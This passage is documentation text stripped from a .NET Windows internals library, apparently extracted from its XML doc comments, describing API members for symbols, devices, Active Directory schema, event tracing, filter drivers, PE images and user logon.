return type. + + + + + List of function parameters. + + + + + Interface for symbol type resolver. + + + + + Query types in a module. + + The base address of the module. + The list of types. + + + + Query names of types in a module. + + The base address of the module. + The list of type names. + + + + Get a type by name. + + The base address of the module containing the type. + The name of the type. + + + + + Query types by name + + The base address of the module containing the type. + A mask string for the type name. e.g. mod!ABC* + The list of types. + + + + Get the address of a symbol. + + The name of the symbol, should include the module name, e.g. modulename!MySymbol. + The symbol type. + + + + Get the address of a symbol. + + The address of the symbol. + The symbol type. + + + + Type information for a pointer value. + + + + + Get the type this pointer references. + + + + + Indicates this pointer is a reference. + + + + + The name of the symbol. + + + + + Class to represent a symbol information. + + + + + The name of the symbol. + + + + + Size of the symbol. + + + + + Get the loaded module for the symbol. + + + + + Type of the symbol. + + + + + Internal type index. + + + + + Overridden ToString method. + + Returns the symbol name. + + + + Enumeration for symbol type information. + + + + + None. + + + + + UDT. + + + + + Enumerated type. + + + + + A base type. + + + + + A function type. + + + + + A pointer type. + + + + + Undefined. + + + + + Flags for the symbol resolver. + + + + + No flags. + + + + + Trace symbol file loading + + + + + Disable resolving export symbols if no PDB can be found. + + + + + Enable a symbol server fallback. If the copy of dbghelp doesn't have a symsrv.dll + then download from a public symbol URL to a local cache directory during symbol + resolving. + + + + + Symbol information for a type. + + + + + Represents a member of a UDT. + + + + + The type of the member. + + + + + The name of the member. + + + + + The offset into the UDT. + + + + + The size of the member. + + + + + Represents a bit field member of a UDT. + + + + + If a bit field then this is the bit start position. + + + + + If a bit field this is the bit length. + + + + + Symbol information for an enumerated type. + + + + + The members of the UDT. + + + + + Indicates the UDT is a union. + + + + + Class to capture Win32 debug output. + + + + + Create an instance of the Win32 debug console. + + The session ID for the console. Set to 0 to capture global output. + True to throw on error. + The Win32 debug console. + + + + Create an instance of the Win32 debug console. + + The session ID for the console. Set to 0 to capture global output. + The Win32 debug console. + + + + Create an instance of the Win32 debug console for current session. + + True to throw on error. + The Win32 debug console. + + + + Create an instance of the Win32 debug console for current session. + + The Win32 debug console. + + + + Create an instance of the Win32 debug console for the global session. + + True to throw on error. + The Win32 debug console. + + + + Create an instance of the Win32 debug console for the global session. + + The Win32 debug console. + + + + Read a debug string from for the console asynchronously. + + The timeout in milliseconds. + Cancellation token. + The Win32 debug string. If timed out then Output property is null. + + + + Read a debug string from for the console asynchronously. + + The timeout in milliseconds. + The Win32 debug string. If timed out then Output property is null. + + + + Read a debug string from for the console asynchronously. + + The Win32 debug string. If timed out then Output property is null. + + + + Read a debug string from for the console. + + The timeout in milliseconds. + The Win32 debug string. If timed out then Output property is null. + + + + Read a debug string from for the console. + + The Win32 debug string. If timed out then Output property is null. + + + + Attach the debug console to another session. + + The session ID. + True to throw on error. + The NT status code. + + + + Attach the debug console to another session. + + The session ID. + + + + Dispose debug console. + + + + + Structure for a debug string event. + + + + + The process ID. + + + + + The output string. + + + + + Class to hold known bus type GUIDs. + + + + + Class to represent a device interface. + + + + + The name of the interface class. + + + + + The device interface GUID. + + + + + The list of device interface instances. + + + + + The list of all device interface properties. + + The device interface properties. + + + + Class containing well known device interface class GUIDs. + + + + + Convert interface class GUID to a string. + + + The name of the interface class GUID. + + + + Get the list of known interface GUIDs. + + The list of known interface guids. + + + + Class to represent a device interface instance. + + + + + The instance path to the device. + + + + + The raw device path. + + + + + The device interface class GUID. + + + + + The device instance ID for the device node. + + + + + Overridden ToString method. + + The Win32Path. + + + + The list of all device interface instance properties. + + The device interface instance properties. + + + + Device property types. + + + + + Class representing a device node. + + + + + The name of the device instance. + + + + + The device setup class GUID. + + + + + The device instance ID. + + + + + Get the device PDO name. + + + + + Get the device INF name. + + + + + Get the device INF path. + + + + + Get the device stack. + + + + + The the device stack as a list of driver paths. + + + + + Indicates if this is a per-session device. If null then not defined. + + + + + Indicates if this instance is present. + + + + + Indicates the name of the SCM service for the driver. + + + + + Get path to the driver. + + + + + Get driver start type. + + + + + Get the parent device node. + + The parent device node. Returns null if reached the root. + + + + List of upper filters. + + + + + List of lower filters. + + + + + Container ID. + + + + + Type of bus for the device. + + + + + Get if the device is a user-mode device. + + + + + The list of all device properties. + + The device properties. + + + + Get the setup class for this instance. + + Returns the setup class. + Thrown if invalid setup GUID. + + + + Get list of parent nodes. + + The list of parent nodes. + + + + Overridden ToString method. + + + + + + Optional security descriptor for device node. + + + + + Indicates the device node has a security descriptor. + + + + + Device property. + + + + + The name of the property, if known. + + + + + The FMTID Guid. + + + + + The PID. + + + + + The device property type. + + + + + Property data. + + + + + Format the data according to type. + + The formatted data. + + + + ToString method. + + The property as a string. + + + + Class to represent a device setup class. + + + + + The friendly name of the device. + + + + + The name of the device class. + + + + + The device class installer Guid. + + + + + The security descriptor for the device (if available). + + + + + Indicates the device setup class has a security descriptor. + + + + + The device type. + + + + + The device characteristics. + + + + + List of upper filters. + + + + + List of lower filters. + + + + + The list of all device setup properties. + + The device setup properties. + + + + Get device instances. + + Return all devices. + The list of devices instances. + + + + Get device instances. + + The list of devices instances. + + + + Enumerated type for device stack type. + + + + + Unknown type. + + + + + Entry is for the function driver. + + + + + Entry is for the bus driver. + + + + + Entry is for an upper filter. + + + + + Entry is for the lower filter. + + + + + Entry is for a filter. + + + + + Class to represent an entry on the stack. + + + + + Name of the driver. + + + + + Path to the driver. + + + + + Stack entry type. + + + + + Overridden ToString method. + + The name of the driver in the stack. + + + + Class to represent a node in a device tree. + + + + + List of child nodes. + + + + + Indicates if the node has any children. + + + + + Get the parent device node. + + The parent device node. Returns null if reached the root. + + + + Utilities for interacting with Device, Configuration and Setup APIs. + + + + + Get a list of device interfaces from an Interface GUID. + + The interface class GUID for the device. + Optional device ID. + True to get all devices, otherwise just present devices. + List of device interfaces. + + + + Get a list of present device interfaces from an Inteface GUID. + + The interface class GUID for the device. + List of device interfaces. + + + + Enumerate installer class GUIDs. + + The list of installer class GUIDs. + + + + Enumerate interface class GUIDs. + + The list of interface class GUIDs. + + + + Query the security descriptor for a device. + + The installer device class. + True to throw on error. + The security descriptor. + + + + Query the security descriptor for a device. + + The installer device class. + The security descriptor. + + + + Get list of registered device setup classes. + + The list of device setup classes. + + + + Get a device setup class by GUID. + + The class GUID. + The device setup class. + + + + Get list of registered device interfaces. + + True to return all devices. + The list of device interfaces. + + + + Get list of registered device interfaces. + + The list of device interfaces. + + + + Get a device interface class by GUID. + + The class GUID. + True to return all devices. + The device interface class. + + + + Get a device interface class by GUID. + + The class GUID. + The device interface class. + + + + Get list of device nodes. + + Return all devices including ones which aren't present. + The list of device nodes. + + + + Get list of present device nodes. + + The list of device entries. + + + + Get list of device entries. + + Specify the Device Setup Class GUID. + Only return present devices. + The list of device entries. + + + + Get list of present device entries. + + Specify the Device Setup Class GUID. + The list of device entries. + + + + Get the device node from a device ID. + + The instance ID to lookup.. + The device node. + + + + Get device tree. + + The device tree's root node. + + + + Get the node from a device instance ID. + + The instance ID to start from. + The root device node. + + + + Get all device interface instances. + + + + + Get all device interface instances for a given interface class GUID. + + + + + Get an interface instance from the interface instance path. + + The path to the interface symbolic link. e.g. \??\SOME$VALUE. + + + + Interface to indicate the device object has properties. + + + + + The list of all device properties. + + The device properties. + + + + Access rights for Active Directory Services. + + + + + Class to represent a binding to a directory service. + + + + + Crack one or more names on the domain controller. + + Flags for the cracking. + Format of the names. + Desired format of the names. + The list of names to crack. + True to throw on error. + The cracked names. + + + + Crack one or more names on the domain controller. + + Flags for the cracking. + Format of the names. + Desired format of the names. + The list of names to crack. + The cracked names. + + + + Crack a name on the domain controller. + + Flags for the cracking. + Format of the name. + Desired format of the name. + The name to crack. + True to throw on error. + The cracked name. + + + + Crack a name on the domain controller. + + Flags for the cracking. + Format of the name. + Desired format of the name. + The name to crack. + The cracked name. + + + + Get naming contexts for domain. + + True to throw on error. + The naming contexts. + + + + Get naming contexts for domain. + + The naming contexts. + + + + Bind to a directory service. + + The name of the domain controller. Can be null. + The DNS domain name. + True to throw on error. + The directory service binding. + + + + Bind to a directory service. + + The name of the domain controller. Can be null. + The DNS domain name. + The directory service binding. + + + + Bind to the current directory service. + + The directory service binding. + + + + Dispose the binding. + + + + + Class to represent an directory service extended right queries from the current domain. + + + + + The common name of the extended right. + + + + + The distinguished name for the extended right. + + + + + The domain name searched for this extended right. + + + + + The rights GUID for this extended right. + + + + + The list of applies to GUIDs. + + + + + The valid accesses for this extended right. + + + + + Get list of properties if a property set. + + + + + True if this a property set extended right. + + + + + True if this is a validated write extended right. + + + + + True if this is a control extended right. + + + + + Overridden ToString method. + + The name of the extended right. + + + + Convert the extended right to an object type tree. + + The tree of object types. + + + + Convert the extended right to an object type tree. + + The extended right to convert. + The tree of object types. + + + + Flags and settings from the dSHeuristics attribute. + + + + + The fSupFirstLastANR flag. + + + + + The fSupLastFirstANR flag. + + + + + The fDoListObject flag. + + + + + The fLDAPBlockAnonOps flag. + + + + + The fAllowAnonNSPI flag. + + + + + The fDontStandardizeSDs flag. + + + + + The raw value for the dsHeuristics attribute. + + + + + The domain where the value was read. + + + + + Directory services name error. + + + + + Directory services name flags. + + + + + Directory services name format. + + + + + Structure to represent a directory service name. + + + + + Status of the name. + + + + + Domain of the name. + + + + + Name of the name. + + + + + Native methods for directory services. + + + + + Object type level for a directory object. + + + + + Object type. + + + + + Property set type. + + + + + Property type. + + + + + Class to represent an a class which is referenced from another. For example auxiliary or superior classes. + + + + + The name of the class. + + + + + Whether the class is a system class. + + + + + Get the full schema class for this reference. + + The schema class. + + + + Class to represent a directory service schema attribute. + + + + + The attributes syntax. + + + + + The OM syntax. + + + + + The OM object class. + + + + + The name of the attribute syntax type if known. + + + + + The GUID of the containing property set, if it exists. + + + + + Indicates if the attribute is in a property set. + + + + + Class to represent a directory service schema class. + + + + + The subclass schema name. + + + + + List of attributes the class can contain. + + + + + The default security descriptor. + + + + + The default security descriptor in SDDL format. + + + + + The list of auxiliary classes for this class. + + + + + The category of schema class. + + + + + The list of possible superior classes for this class. + + + + + Possible inferiors of the class. + + + + + Structure to represent an attribute for a class. + + + + + The name of the attribute. + + + + + True if the attribute is required. + + + + + True if the attribute can only be modified by system. + + + + + Get the hash code for the attribute. + + The hash code. + + + + Check attributes for equality. + + The other attribute to check. + True if equal. + + + + Overridden ToString method. + + The name of the attribute. + + + + Represents the type of schema class. + + + + + Legacy class. + + + + + Structure class (can be created). + + + + + Abstract class. + + + + + Auxiliary class. + + + + + Base class for a schema class or attribute object. + + + + + The GUID of the schema class. + + + + + The name of the schema class. + + + + + The LDAP display name. + + + + + The object class for the schema class. + + + + + The distinguished name for the schema class. + + + + + The domain name searched for this schema class. + + + + + The admin description for the object. + + + + + Indicates if this schema object is system only. + + + + + Overridden ToString method. + + The name of the schema class. + + + + Convert the schema class to an object type tree. + + The tree of object types. + + + + Convert the extended right to an object type tree. + + The schema class to convert. + The tree of object types. + + + + Class to represent a security principal in the directory. + + + + + Distinguished name of the group. + + + + + The SID of the object. + + + + + Overridden Equals. + + The other object to test. + True if equal. + + + + Overridden GetHashCode. + + The hash code. + + + + User flags. + + + + + Class implementing various utilities for directory services. + + + + + Name for the fake Directory Service NT type. + + + + + Get the generic mapping for directory services. + + The directory services generic mapping. + + + + Get a fake NtType for Directory Services. + + The fake Directory Services NtType + + + + Get the default property set. + + + + + Get the schema class for a GUID. + + Specify the domain to get the schema class for. + The GUID for the schema class. + The schema class, or null if not found. + + + + Get the schema class for a GUID. + + The GUID for the schema class. + The schema class, or null if not found. + + + + Get the schema class for a LDAP name. + + Specify the domain to get the schema class for. + The LDAP name for the schema class. + The schema class, or null if not found. + + + + Get the schema class for a LDAP name. + + The LDAP name for the schema class. + The schema class, or null if not found. + + + + Get the inferior schema class for a LDAP name. + + Specify the domain to get the schema class for. + The LDAP name for the parent schema class. + The schema classes. + + + + Get the inferior schema class for a LDAP name. + + The LDAP name for the schema class. + The schema classes. + + + + Get the auxiliary schema classes for a LDAP name. + + Specify the domain to get the schema class for. + The LDAP name for the parent schema class. + The schema classes. + + + + Get the auxiliary schema classes for a LDAP name. + + The LDAP name for the schema class. + The schema classes. + + + + Get all schema classes. + + Specify the domain to get the schema classes for. + The list of schema classes. + + + + Get all schema classes. + + The list of schema classes. + + + + Get all schema classes in a hierarchy. + + Specify the domain to get the schema classes for. + Specify to include auxiliary classes in the list. + The name of the base schema class. + The list of schema classes. + + + + Get all schema classes in a hierarchy. + + Specify to include auxiliary classes in the list. + The name of the base schema class. + The list of schema classes. + + + + Get the common name of an schema object class. + + Specify the domain to get the schema class for. + The GUID for the schema class. + The common name of the schema class, or null if not found. + + + + Get the common name of an schema object class. + + The GUID for the schema class. + The common name of the schema class, or null if not found. + + + + Get the schema attribute for a GUID. + + Specify the domain to get the schema attribute for. + The GUID for the schema attribute. + The schema attribute, or null if not found. + + + + Get the schema attribute for a GUID. + + The GUID for the schema attribute. + The schema attribute, or null if not found. + + + + Get the schema attribute for a LDAP name. + + Specify the domain to get the schema attribute for. + The LDAP name for the schema attribute. + The schema attribute, or null if not found. + + + + Get the schema attribute for a LDAP name. + + The LDAP name for the schema attribute. + The schema attribute, or null if not found. + + + + Get all schema attributes. + + Specify the domain to get the schema attributes for. + The list of schema attributes. + + + + Get all schema attributes. + + The list of schema attributes. + + + + Get the common name of a schema attribute. + + Specify the domain to get the schema attribute for. + The GUID for the schema attribute. + The common name of the schema attribute, or null if not found. + + + + Get the common name of a schema attribute. + + The GUID for the schema attribute. + The common name of the schema attribute, or null if not found. + + + + Get the extended right name by GUID. + + Specify the domain for the extended right. + The GUID for the extended right. + If true and the right is a property set, expand the name. + The name of the extended right, or null if not found. + + + + Get the extended right name by GUID. + + The GUID for the extended right. + If true and the right is a property set, expand the name. + The name of the extended right, or null if not found. + + + + Get an extended right by GUID. + + Specify the domain to get the extended right for. + The GUID for the extended right. + The extended right, or null if not found. + + + + Get an extended right by GUID. + + The GUID for the extended right. + The extended right, or null if not found. + + + + Get an extended right by common name. + + Specify the domain to get the extended right for. + The common name for the extended right. + The extended right, or null if not found. + + + + Get an extended right by common name. + + The common name for the extended right. + The extended right, or null if not found. + + + + Get a list of all extended rights in the current domain. + + Specify the domain to get the extended rights from. + The list of extended rights. + + + + Get a list of all extended rights in the current domain. + + The list of extended rights. + + + + Get a list of extended rights applied to a schema class. + + Specify the domain to get the extended rights from. + The schema class identifier. + The list of extended rights applies to the schema class. + + + + Get a list of extended rights applied to a schema class in the current domain. + + The schema class identifier. + The list of extended rights applies to the schema class. + + + + Create an object type entry for an access check. + + The object type level. + The object type GUID. + An optional name. + The object type entry. + + + + Get the object SID from a directory object. + + The directory entry. + The object SID. Returns null if no object SID exists. + + + + Get the object SID from a directory object. + + The domain name for the object. + The distinguished name of the object. + The object SID. Returns null if no object SID exists. + + + + Get the object SID from a directory object. + + The distinguished name of the object. + The object SID. Returns null if no object SID exists. + + + + Get a directory object. + + The domain name for the object. + The distinguished name of the object. + The object entry. + + + + Get a directory object. + + The distinguished name of the object. + The object entry. + + + + Standardize security descriptor to the rules of Active Directory. + + The security descriptor. + The standardized security descriptor. + + + + Get the value for the dsHeuristics attribute. + + The domain to read the dsHeuristics from. + The dsHeuristics value. + + + + Get the value for the dsHeuristics attribute. + + The dsHeuristics value. + + + + Get the value for an object's sDRightsEffective attribute. + + The domain for the object. + The distinguished name of the object. + The sDRightsEffective value. + + + + Get the value for an object's sDRightsEffective attribute. + + The distinguished name of the object. + The sDRightsEffective value. + + + + Try and find the an object from its SID. + + Specify the domain to search. + The SID to find. + The distinguished name of the object, null if not found. + + + + Try and find the token groups for an object. + + Domain name for the lookup. + The distinguished name to find. + True to return all groups including BUILTIN on the server. False for just universal and global groups. + The list of member SIDs. + + + + Try and find the token groups for an object using the SID. + + Sid to use for the object. + True to return all groups including BUILTIN on the server. False for just universal and global groups. + The list of member SIDs. + + + + Try and find the membership of groups for a name. + + Domain name for the lookup. + The distinguished name to find as member. + The list of groups. + + + + Call to pre-cache the schema for a domain, could take a long time to load. + + The domain to cache. + True if the schema was cached successfully. + + + + Call to pre-cache the schema for the current domain, could take a long time to load. + + True if the schema was cached successfully. + + + + Interface to convert a directory object to a tree for access checking. + + + + + The name of the object. + + + + + The ID of the object. + + + + + Convert the schema class to an object type tree. + + The tree of object types. + + + + DLL characteristic flags. + + + + + Reserved + + + + + Reserved + + + + + Reserved + + + + + Reserved + + + + + Reserved + + + + + Image can handle a high entropy 64-bit virtual address space. + + + + + DLL can be relocated at load time. + + + + + Code Integrity checks are enforced. + + + + + Image is NX compatible. + + + + + Isolation aware, but do not isolate the image. + + + + + Does not use structured exception (SE) handling. No SE handler may be called in this image. + + + + + Do not bind the image. + + + + + Image must execute in an AppContainer. + + + + + A WDM driver. + + + + + Image supports Control Flow Guard. + + + + + Terminal Server aware. + + + + + CodeView debug data for an executable. + + + + + The magic identifier. + + + + + The unique identifier. + + + + + Age of debug information. + + + + + Path to PDB file. + + + + + Identifier path to use when looking up symbol file. + + + + + Get just the name of the PDB file. + + + + + Get the symbol server path. + + The symbol URL, either a local path or a remote URL. + The symbol server path. + + + + Single DLL export entry. + + + + + The name of the export. If an ordinal this is #ORD. + + + + + The ordinal number. + + + + + Address of the exported entry. Can be 0 if a forwarded function. + + + + + Name of the forwarder, if used. + + + + + Get the module this was exported from. + + + + + Overridden ToString method. + + The name of the export. + + + + Single DLL import. + + + + + The name of the DLL importing from. + + + + + List of DLL imported functions. + + + + + List of names imported. + + + + + Could of functions + + + + + True of the imports are delay loaded. + + + + + The path to the executable this import came from. + + + + + Overridden ToString method. + + The DLL name and count. + + + + Single DLL import function. + + + + + The name of the DLL importing from. + + + + + The name of the imported function. If an ordinal this is #ORD. + + + + + Address of the imported function. Can be 0 if not a bound DLL. + + + + + Ordinal of import, if imported by ordinal. -1 if not. + + + + + Overridden ToString method. + + The name of the imported function. + + + + Simple class for an event trace. + + + + + Write an empty event. + + + + + Dispose method. + + + + + Level for trace event. + + + + + Critical level. + + + + + Error level. + + + + + Warning level. + + + + + Information level. + + + + + Verbose level. + + + + + Descriptor for an enabled trace provider. + + + + + Pointer to descriptor data. + + + + + Size of descriptor data. + + + + + Type of descriptor data. + + + + + An Event Trace Log. + + + + + Enable a provider. + + The GUID of the provider. + The level for the events. + Any keywords to match. + All keywords to match. + The timeout. + List of optional descriptors. + True to throw on error. + The resulting status code. + + + + Get allocated session GUID. + + + + + Get name of the session. + + + + + Finalizer. + + + + + Dispose the event trace log. + + + + + Source of an event trace provider. + + + + + Unknown source. + + + + + From WMI. + + + + + From NtTraceControl. + + + + + From the security key. + + + + + Class to represent an Event Trace Provider. + + + + + The ID of the provider. + + + + + The name of the provider. + + + + + Whether the provider is defined as an XML file or a MOF. + + + + + The provider security descriptor (only available as admin). + + + + + Indicates the source of the provider. + + + + + Class to access event tracing methods. + + + + + Query security of an event. + + The event GUID to query. + True to throw on error. + The event security descriptor. + + + + Query security of an event. + + The event GUID to query. + The event security descriptor. + + + + Query the default security for events. + + True to throw on error. + The default security descriptor. + + + + Query the default security for events. + + The default security descriptor. + + + + Modify trace security. + + The event trace GUID. + The operation to perform. + The SID to set. + The access mask to set. + True to allow, false to deny. + True to throw on error. + The NT status code. + + + + Modify trace security. + + The event trace GUID. + The operation to perform. + The SID to set. + The access mask to set. + True to allow, false to deny. + + + + Adds DACL ACE for an event trace. + + The event trace GUID. + The SID to set. + The access mask to set. + True to allow, false to deny. + True to throw on error. + The NT status code. + + + + Adds DACL ACE for an event trace. + + The event trace GUID. + The SID to set. + The access mask to set. + True to allow, false to deny. + + + + Clears DACL and adds ACE for an event trace. + + The event trace GUID. + The SID to set. + The access mask to set. + True to allow, false to deny. + True to throw on error. + The NT status code. + + + + lears DACL and adds ACE for an event trace. + + The event trace GUID. + The SID to set. + The access mask to set. + True to allow, false to deny. + + + + Remove security for an event trace. + + The event trace GUID. + True to throw on error. + The NT status code. + + + + Remove security for an event trace. + + The event trace GUID. + + + + Register an event trace with a specific GUID. + + The event trace GUID. + True to throw on error. + The event trace. + + + + Start an event trace log. + + The path to the log file. + Session GUID. + The name of the logging session. + True to throw on error. + The event trace log. + + + + Start an event trace log. + + The path to the log file. + Session GUID. + The name of the logging session. + The event trace log. + + + + Register an event trace with a specific GUID. + + The event trace GUID. + The event trace. + + + + Get the list of registered trace GUIDs. + + The list of trace GUIDs. + + + + Get the list of registered trace providers. + + Specify true to return a list of cached providers. + The list of trace providers. + + + + Get the list of registered trace providers. + + The list of trace providers. + Returns a cached list of providers, if you want to check the current list use GetProviders(bool). + + + + Get the name of a provider. + + The ID of the provider. + The name of the provider. Returns null if the provider had no name or doesn't exist. + + + + Contains information about a manifest file. + + + + + True if parsing the XML manifest failed. + + + + + Full path to the manifest location. + + + + + The name of the manifest. + + + + + True if the manifest indicates UI access. + + + + + The execution level from the manifest. + + + + + True if the manifest indicates auto elevation. + + + + + The manifest XML. + + + + + True if the manifest indicates long path awareness. + + + + + Get the manifests from a file. + + The file to extract the manifests from. + The list of manifests. + + + + Overridden ToString method. + + The manifest as a string. + + + + A class to represent filter communication port. + + + + + Open a filter communications port. + + The port name, e.g. \FilterName + Make the handle synchronous. + Optional context data. + True to throw on error. + The filter communications port. + + + + Open a filter communications port. + + The port name, e.g. \FilterName + Make the handle synchronous. + Optional context data. + The filter communications port. + + + + Open a filter communications port. + + The port name, e.g. \FilterName + The filter communications port. + + + + Get message from port. + + The maximum message size to receive. + True to throw on error. + The returned message. + + + + Get message from port. + + The maximum message size to receive. + The returned message. + + + + Reply to message. + + The NT status code. + The message ID from GetMessage. + The data to send. + True to throw on error. + The NT status code. + + + + Reply to message. + + The NT status code. + The message ID from GetMessage. + The data to send. + + + + Send a message to the filter. + + The input buffer. + The output buffer. + True to throw on error. + The bytes in the output buffer. + + + + Send a message to the filter. + + The input buffer. + The output buffer. + The bytes in the output buffer. + + + + Send a message to the filter. + + The input buffer. + The maximum size of the output buffer. + true to throw on error. + The output buffer. + + + + Send a message to the filter. + + The input buffer. + The maximum size of the output buffer. + The output buffer. + + + + Class to represent a filter communications port message. + + + + + The message ID. + + + + + The returned data. + + + + + The length of the reply to send. + + + + + Class to represent a filter drive. + + + + + True if a mini-filter, false if a legacy-filter. + + + + + Flags, if any. + + + + + The frame ID. + + + + + Number of instances if a mini-filter. + + + + + Name of the filter driver. + + + + + Altitude of the filter driver. + + + + + Class to represent a mini-filter instance. + + + + + The name of the instance. + + + + + The altitude of the instance. + + + + + The volume name. + + + + + The filter name. + + + + + Filter filesystem type. + + + + + an UNKNOWN file system type + + + + + Microsoft's RAW file system (\FileSystem\RAW) + + + + + Microsoft's NTFS file system (\FileSystem\Ntfs) + + + + + Microsoft's FAT file system (\FileSystem\Fastfat) + + + + + Microsoft's CDFS file system (\FileSystem\Cdfs) + + + + + Microsoft's UDFS file system (\FileSystem\Udfs) + + + + + Microsoft's LanMan Redirector (\FileSystem\MRxSmb) + + + + + Microsoft's WebDav redirector (\FileSystem\MRxDav) + + + + + Microsoft's Terminal Server redirector (\Driver\rdpdr) + + + + + Microsoft's NFS file system (\FileSystem\NfsRdr) + + + + + Microsoft's NetWare redirector (\FileSystem\nwrdr) + + + + + Novell's NetWare redirector + + + + + The BsUDF CD-ROM driver (\FileSystem\BsUDF) + + + + + Microsoft's Mup redirector (\FileSystem\Mup) + + + + + Microsoft's WinFS redirector (\FileSystem\RsFxDrv) + + + + + Roxio's UDF writeable file system (\FileSystem\cdudf_xp) + + + + + Roxio's UDF readable file system (\FileSystem\UdfReadr_xp) + + + + + Roxio's DVD file system (\FileSystem\DVDVRRdr_xp) + + + + + Tacit FileSystem (\Device\TCFSPSE) + + + + + Microsoft's File system recognizer (\FileSystem\Fs_rec) + + + + + Nero's InCD file system (\FileSystem\InCDfs) + + + + + Nero's InCD FAT file system (\FileSystem\InCDFat) + + + + + Microsoft's EXFat FILE SYSTEM (\FileSystem\exfat) + + + + + PolyServ's file system (\FileSystem\psfs) + + + + + IBM General Parallel File System (\FileSystem\gpfs) + + + + + Microsoft's Named Pipe file system(\FileSystem\npfs) + + + + + Microsoft's Mailslot file system (\FileSystem\msfs) + + + + + Microsoft's Cluster Shared Volume file system (\FileSystem\csvfs) + + + + + Microsoft's ReFS file system (\FileSystem\Refs or \FileSystem\Refsv1) + + + + + OpenAFS file system (\Device\AFSRedirector) + + + + + Composite Image file system (\FileSystem\cimfs) + + + + + Methods for accessing Filter Manager information. + + + + + Enumerate the list of filter drivers. + + The list of filter drivers. + + + + Enumerate the list of filter driver instances. + + The name of the filter driver. + The list of filter driver instances. + + + + Enumerate the list of filter driver instances for all filter drivers. + + The list of filter driver instances. + + + + Enumerate the list of filter drivers attached to a volume. + + The name of volume, e.g. C:\ + The list of filter volume instances. + + + + Enumerate the list of filter drivers attached for all volumes. + + The list of filter volume instances. + + + + Enumerate the list of filter volumes. + + The list of filter volumes + + + + Attach a filter to a volume. + + The filter name. + The volume name. + Optional altitude of the filter. + Optional instance name. + True to throw on error. + The created instance name. + + + + Attach a filter to a volume. + + The filter name. + The volume name. + Optional altitude of the filter. + Optional instance name. + The created instance name. + + + + Attach a filter to a volume. + + The filter name. + The volume name. + Optional altitude of the filter. + The created instance name. + + + + Attach a filter to a volume. + + The filter name. + The volume name. + The created instance name. + + + + Attach a filter to a volume. + + The filter name. + The volume name. + Optional instance name. + True to throw on error. + The NT status code. + + + + Attach a filter to a volume. + + The filter name. + The volume name. + Optional instance name. + The NT status code. + + + + Attach a filter to a volume. + + The filter name. + The volume name. + The NT status code. + + + + Class to represent a filter volume. + + + + + Is the filter detached from the volume. + + + + + Filter frame ID. + + + + + Filesystem type. + + + + + Filter volume name. + + + + + Class which represents a section from a loaded PE file. + + + + + The name of the section. + + + + + Buffer to the data. + + + + + Relative Virtual address of the data from the library base. + + + + + Image section characteristics. + + + + + Get the data as an array. + + The data as an array. If can't read the section returns an empty array. + + + + Characteristic flags for image section. + + + + + None. + + + + + Section is code. + + + + + Section is initialized data. + + + + + Section is uninitialized data. + + + + + Section is shared. + + + + + Section is executable. + + + + + Section is readable. + + + + + Section is writable. + + + + + Class to represent a resource in an image. + + + + + The name of the resource. + + + + + The type of the resource. + + + + + The size of the resource. + + + + + Get the resource as a byte array. + + The resource as a byte array. + + + + Image resource type. + + + + + The name of the resource as a string. + + + + + The well known type, is available (otherwise set to UNKNOWN) + + + + + Overridden ToString method. + + The name of the type. + + + + Known image resource types. + + + + + Interface for a symbol resolver. + + + + + Get list of loaded modules. + + The list of loaded modules + Note this will cache the results so subsequent calls won't necessarily see new modules. + + + + Get list of loaded modules and optionally refresh the list. + + True to refresh the current cached list of modules. + The list of loaded modules + + + + Get module at an address. + + The address for the module. + The module, or null if not found. + Note this will cache the results so subsequent calls won't necessarily see new modules. + + + + Get module at an address. + + The address for the module. + True to refresh the current cached list of modules. + The module, or null if not found. + + + + Get a string representation of a relative address to a module. + + The address to get the string for, + The string form of the address, e.g. modulename+0x100 + Note this will cache the results so subsequent calls won't necessarily see new modules. + + + + Get a string representation of a relative address to a module. + + The address to get the string for, + True to refresh the current cached list of modules. + The string form of the address, e.g. modulename+0x100 + + + + Get the address of a symbol. + + The name of the symbol, should include the module name, e.g. modulename!MySymbol. + The address of the symbol + + + + Get the symbol name for an address. + + The address of the symbol. + The symbol name. + + + + Get the symbol name for an address, with no fallback. + + The address of the symbol. + If true then generate a fake symbol. + The symbol name. If |generate_fake_symbol| is true and the symbol doesn't exist one is generated based on module name. + + + + Get the symbol name for an address, with no fallback. + + The address of the symbol. + If true then generate a fake symbol. + If true then return only the name of the symbols (such as C++ symbol name) rather than full symbol. + The symbol name. If |generate_fake_symbol| is true and the symbol doesn't exist one is generated based on module name. + + + + Reload the list of modules for this symbol resolver. + + + + + Load a specific module into the symbol resolver. + + The path to the module. + The base address of the loaded module. + + + + Flags for loading a library. + + + + + None. + + + + + Don't resolve DLL references + + + + + Load library as a data file. + + + + + Load with an altered search path. + + + + + Ignore code authz level. + + + + + Load library as an image resource. + + + + + Load library as a data file exclusively. + + + + + Add the DLL's directory temporarily to the search list. + + + + + Search application directory for the DLL. + + + + + Search the user's directories for the DLL. + + + + + Search system32 for the DLL. + + + + + Search the default directories for the DLL. + + + + + Logon type + + + + + This is used to specify an undefined logon type + + + + + Interactively logged on (locally or remotely) + + + + + Accessing system via network + + + + + Started via a batch queue + + + + + Service started by service controller + + + + + Proxy logon + + + + + Unlock workstation + + + + + Network logon with cleartext credentials + + + + + Clone caller, new default credentials + + + + + Remove interactive. + + + + + Cached Interactive. + + + + + Cached Remote Interactive. + + + + + Cached unlock. + + + + + Specify what account rights to get. + + + + + Get all account rights. + + + + + Get all privilege account rights. + + + + + Get logon account rights. + + + + + Utilities for user logon. + + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + True to throw on error. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + Additional groups to add. Needs SeTcbPrivilege. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + Additional groups to add. Needs SeTcbPrivilege. + True to throw on error. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + Additional groups to add. Needs SeTcbPrivilege. + The logged on token. + + + + Logon user using Kerberos Ticket. + + The type of logon token. + The service ticket. + Optional TGT. + True to throw on error. + The logged on token. + + + + Logon user using Kerberos Ticket. + + The type of logon token. + The service ticket. + Optional TGT. + The logged on token. + + + + Logon user using Kerberos Ticket. + + The type of logon token. + The service ticket. + Optional TGT. + True to throw on error. + The logged on token. + 